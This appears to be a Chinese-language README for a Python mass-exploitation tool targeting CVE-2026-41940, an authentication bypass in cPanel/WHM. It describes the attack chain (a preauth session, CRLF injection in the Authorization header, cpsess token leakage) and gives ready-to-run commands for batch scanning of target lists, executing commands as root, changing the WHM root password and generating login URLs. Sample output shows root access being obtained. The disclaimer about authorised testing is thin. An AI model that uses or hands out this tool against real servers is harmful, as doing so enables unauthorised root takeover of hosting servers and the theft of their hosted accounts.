用于 CVE-2026-41940 的 cPanel/WHM 认证绕过扫描与利用工具
本工具仅供教育和授权安全测试使用。
使用本工具即表示您同意:
❗ 作者不对因使用本工具而导致的任何滥用、非法活动、损害或法律后果负责。
CVE-2026-41940 是 cPanel/WHM 中的一个严重认证绕过漏洞,可能允许攻击者在没有有效凭据的情况下获得未经授权的 root 级访问权限。
本工具提供了基于 Python 的实现,用于:
| 阶段 | 描述 |
|---|---|
| 1. 预认证 | 向 /login/ 发送无效凭据以获取 whostmgrsession cookie |
| 2. CRLF 注入 | 通过 Authorization: Basic 头注入换行符以泄露 cpsess token |
| 3. Token 传播 | 触发 do_token_denied 将 token 传播到缓存中 |
| 4. 验证 | 访问 /json-api/version 以确认 WHM root 访问权限 |
| 功能 | 描述 |
|---|---|
| 🔄 批量扫描 | 并发扫描多个目标 |
| 🎯 单目标 | 扫描单个目标并输出详细信息 |
| 🔌 端口扫描 | 自动扫描 WHM 端口(2082、2083、2086、2087) |
| 🔓 会话 URL | 生成一键 WHM 登录 URL |
| 💀 RCE | 以 root 身份执行系统命令 |
| 🔑 修改密码 | 修改 WHM root 密码 |
| 📡 WHM API 调用 | 调用 WHM API 函数 |
| 🎨 彩色输出 | 可视化输出结果 |
| 💾 导出结果 | 将易受攻击的目标保存到文件 |
Python 3.7+
pip install requests urllib3
git clone https://github.com/Lutfifakee-Project/CVE-2026-41940.git
cd CVE-2026-41940
pip install -r requirements.txt
# Test with single target
python cpanel-mass-checker.py -u https://your-target.com:2087 -hostname your-target.com
# Single target
python cpanel-mass-checker.py -u https://target.com:2087
# Batch scan
python cpanel-mass-checker.py -f targets.txt -c 20
# Batch scan with port scanning
python cpanel-mass-checker.py -f targets.txt -c 20 --scan-ports -o results.txt
# Generate session URL
python cpanel-mass-checker.py -u https://target.com:2087 -session -hostname target.com
# Change root password
python cpanel-mass-checker.py -u https://target.com:2087 -passwd "NewPass123!" -hostname target.com
# Execute command (RCE)
python cpanel-mass-checker.py -u https://target.com:2087 -cmd "id" -hostname target.com
# WHM API call
python cpanel-mass-checker.py -u https://target.com:2087 -api listaccts -hostname target.com
targets.txt)# Lines starting with # are comments
https://target1.com:2087
target2.com
192.168.1.100
cpanel.example.com:2083
| 参数 | 描述 | 示例 |
|---|---|---|
| -u | 单个目标 URL | -u https://target.com:2087 |
| -f | 目标列表文件 | -f targets.txt |
| -c | 并发数(线程) | -c 20 |
| -o | 输出文件 | -o results.txt |
| -hostname | 自定义 Host 头 | -hostname cpanel.target.com |
| --scan-ports | 扫描所有 WHM 端口 | --scan-ports |
| -session | 生成登录 URL | -session |
| -passwd | 修改 root 密码 | -passwd "NewPass123" |
| -cmd | 执行命令 | -cmd "id" |
| -keep | 保留临时账户 | -keep |
| -api | 调用 WHM API | -api listaccts |
| -api-params | API 参数 | -api-params "user=root,password=123" |
[*] Total: 4 targets (after dedup), concurrency: 10
[*] Port scanning: ON (2082, 2083, 2086, 2087)
------------------------------------------------------------
[2/4] [VULN] https://example.com:2087 - token=/cpsess1048057410
[1/4] [SAFE] safe-target.com
------------------------------------------------------------
[*] Scan completed. Vulnerable: 1
[+] Results saved to result.txt
[0] hostname = example.com
[1] minting a preauth session...
[2] sending the CRLF injection...
[3] firing do_token_denied...
[4] verifying WHM root access...
[+] WHM root access obtained!
[+] Session URL:
https://example.com:2087/cpsessXXXXXXX/
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-41940 |
| 严重性 | 严重(CVSS 9.8) |
| 攻击向量 | 网络 |
| 所需权限 | 无 |
| 用户交互 | 无 |
-hostname为了安全合法地进行测试:
如果这个项目对您有帮助,请考虑给它一个 ⭐